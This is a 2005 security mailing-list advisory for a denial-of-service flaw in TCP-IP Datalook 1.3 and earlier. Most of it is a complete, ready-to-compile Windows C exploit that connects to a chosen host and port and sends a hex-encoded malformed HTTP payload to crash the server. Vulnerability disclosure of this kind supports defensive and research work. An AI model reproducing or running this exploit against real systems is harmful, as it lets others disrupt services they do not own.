[EXPL] TCP-IP Datalook DoS Vulnerability (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/27/05

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    Date: 27 Jun 2005 12:06:13 +0200
    
    

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      TCP-IP Datalook DoS Vulnerability (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.pscode.com/vb/scripts/ShowCode.asp?txtCodeId=25071&lngWId=1>
    TCP-IP Datalook is "a program that can be used to view the data transfered
    between Client application and Server application".

    By sending a special crafted request to the listening port of the TCP-IP
    Datalook server its possible to cause the server to stop crash.

    DETAILS

    Vulnerable Systems:
     * IP-DATALOOK version 1.3 and prior

    Exploit:
    /*

     IP-DATALOOK Local DoS Exploit
    ---------------------------------
    INFGP - Hacking&security Research

    Resolve host...[OK]
     [+] Connecting...[OK]
    Target locked
    Sending bad procedure...[OK]
     [*] Server Disconnected!

     Tested on Windows2000 SP4
     Infos: infamous.2hell.com / basher13 at linuxmail.org

    */

    #include string.h
    #include winsock2.h
    #include stdio.h

    #pragma comment(lib, "ws2_32.lib")

    char doscore[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76"
    "\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73"
    "\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54"
    "\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20"
    "\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
    "\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"
    "\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78"
    "\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"
    "\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"
    "\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"
    "\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43"
    "\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b"
    "\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
    "\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36"
    "\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c"
    "\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38"
    "\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73"
    "\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68"
    "\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67"
    "\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65"
    "\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69"
    "\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20"
    "\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67"
    "\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70"
    "\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69"
    "\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d"
    "\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63"
    "\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f"
    "\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a"
    "\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41"
    "\x69\x6d\x61\x67\x65\r\n";

    int main(int argc, char *argv[])
    {
    WSADATA wsaData;
    WORD wVersionRequested;
    struct hostent *pTarget;
    struct sockaddr_in sock;
    char *target;
    int port,bufsize;
    SOCKET inetdos;

    if (argc < 2)
    {
    printf(" \n", argv[0]);
    printf(" IP-DATALOOK Local DoS Exploit \n", argv[0]);
    printf(" -------------------------------------\n", argv[0]);
    printf(" INFGP - Hacking&Security Research\n\n", argv[0]);
    printf("[-]Usage: %s [target] [port]\n", argv[0]);
    printf("[?]Exam: localhost 80\n", argv[0]);
    exit(1);
    }

    wVersionRequested = MAKEWORD(1, 1);
    if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

    target = argv[1];
    port = 80;

    if (argc >= 3) port = atoi(argv[2]);
    bufsize = 1024;
    if (argc >= 4) bufsize = atoi(argv[3]);

    inetdos = socket(AF_INET, SOCK_STREAM, 0);
    if(inetdos==INVALID_SOCKET)
    {
    printf("Socket ERROR \n");
    exit(1);
    }

    printf("Resolve host... ");
    if ((pTarget = gethostbyname(target)) == NULL)
    {
    printf("FAILED \n", argv[0]);
    exit(1);
    }
    printf("[OK]\n ");
    memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
    sock.sin_family = AF_INET;
    sock.sin_port = htons((USHORT)port);

    printf("[+] Connecting... ");
    if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
    {
    printf("FAILED\n");
    exit(1);
    }
    printf("[OK]\n");
    printf("Target locked\n");
    printf("Sending bad procedure... ");
    if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
    {
    printf("ERROR\n");
    closesocket(inetdos);
    exit(1);
    }
    printf("[OK]\n ");
    printf("[+] Server Disconnected!\n");
    closesocket(inetdos);
    WSACleanup();
    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:basher13@linuxmail.org>
    basher13.
    The original article can be found at:
    <http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=51> http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=51

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